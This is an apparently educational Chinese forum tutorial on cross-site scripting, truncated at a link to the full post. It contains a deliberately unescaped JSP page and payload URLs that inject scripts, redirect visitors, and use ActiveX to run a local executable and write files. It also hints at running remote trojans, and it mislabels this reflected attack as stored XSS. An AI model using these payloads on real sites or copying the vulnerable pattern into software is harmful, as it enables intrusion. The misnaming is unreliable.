前言
大家好,好男人就是我,我就是好男人,我就是-0nise。在各大漏洞舉報平台,我們時常會看到XSS漏洞。那么問題來了,為何會出現這種漏洞?出現這種漏洞應該怎么修復?
目錄
1.XSS?XSS?XSS是什么鬼?
2.XSS的危害有多大?
3.如何避免XSS漏洞的出現
正文
1.XSS?XSS?XSS是什么鬼?
XSS又叫跨站腳本攻擊(Cross Site Scripting),我不會告訴他原本是叫CSS的,但是為了不和我們所用的層疊樣式表(Cascading Style Sheets)CSS搞混。CSS(跨站腳本攻擊),CSS(層疊樣式表)傻傻分不清。所以就叫XSS咯。
2.XSS的危害是什么?
實驗一:
0x00構造代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<%@ page language= "java" import = "java.util.*" pageEncoding= "UTF-8" %>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+ "://" +request.getServerName()+ ":" +request.getServerPort()+path+ "/" ;
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" >
<html>
<head>
<base href= "<%=basePath%>" >
<title>My JSP 'index.jsp' starting page</title>
<meta http-equiv= "pragma" content= "no-cache" >
<meta http-equiv= "cache-control" content= "no-cache" >
<meta http-equiv= "expires" content= "0" >
<meta http-equiv= "keywords" content= "keyword1,keyword2,keyword3" >
<meta http-equiv= "description" content= "This is my page" >
</head>
<body>
<div style= "margin: 0 auto" >
<%
//設置編碼
request.setCharacterEncoding( "UTF-8" );
//接收用戶傳入值
String tmp = request.getParameter( "opr" );
//減速傳入值是否為空
if (tmp == null ){
out.print( "111" );
} else {
//轉碼
String opr = new String(tmp.getBytes( "ISO-8859-1" ), "utf-8" );
out.print(opr);
}
%>
我是內容
</div>
</body>
</html>
|
0x01環境布局
0x02漏洞演練
我們訪問:http://localhost:8080/XSS/index.jsp?opr=i%E6%98%A5%E7%A7%8B
然后訪問:http://localhost:8080/XSS/index.jsp?opr=0nise
最后我們發現了一個“偉大的規律”:
opr參數等於什么頁面就打印什么。(好像是廢話)
我們接着來加載一個圖片看看
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cimg%20src=%221.png%22%3E%3C/img%3E
既然圖片都可以加載,那么我們JS文件是不是也闊以加載呢?
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Ealert(/i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/script%3E
Js?Js?那么是不是可以來改變跳轉后地址?
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Elocation.href=%27http://bbs.ichunqiu.com%27%3C/script%3E
既然xss都可以加載js,那么,我們是不是通過js來打開本地的某些東西?
提前放了一個MD5.exe文件
訪問:http://localhost:8080/XSS/index.jsp?opr=<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
既然連本地文件都可以打開那么遠程文件木馬?來個電腦惡搞?這個自己慢慢象限。我可沒說啊。。。。。
文件都可以打開,那么寫一些文件呢?
訪問:http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Evar%20fso,tf;fso%20=%20new%20ActiveXObject(%22Scripting.FileSystemObject%22);tf%20=%20fso.CreateTextFile(%22d:\\test.txt%22,true);tf.WriteLine(%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22);tf.Close();alert(%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/script%3E
通過以上實驗我們可以看出opr參數賦值操作。如果opr參數沒有值的話,就無法執行執行,被攻擊者必須訪問攻擊者提前設計好的才能攻擊。這種XSS攻擊方式叫做:存儲型XSS
如果你想看到更給力的實驗,請接着往下看。
實驗二:
前言:
大部分網站都會和數據打交道那么,XSS漏洞出現這些網站是什么樣子的?
..................想查看全文請看這里》》》》原文地址:http://bbs.ichunqiu.com/thread-10891-1-1.html?from=bky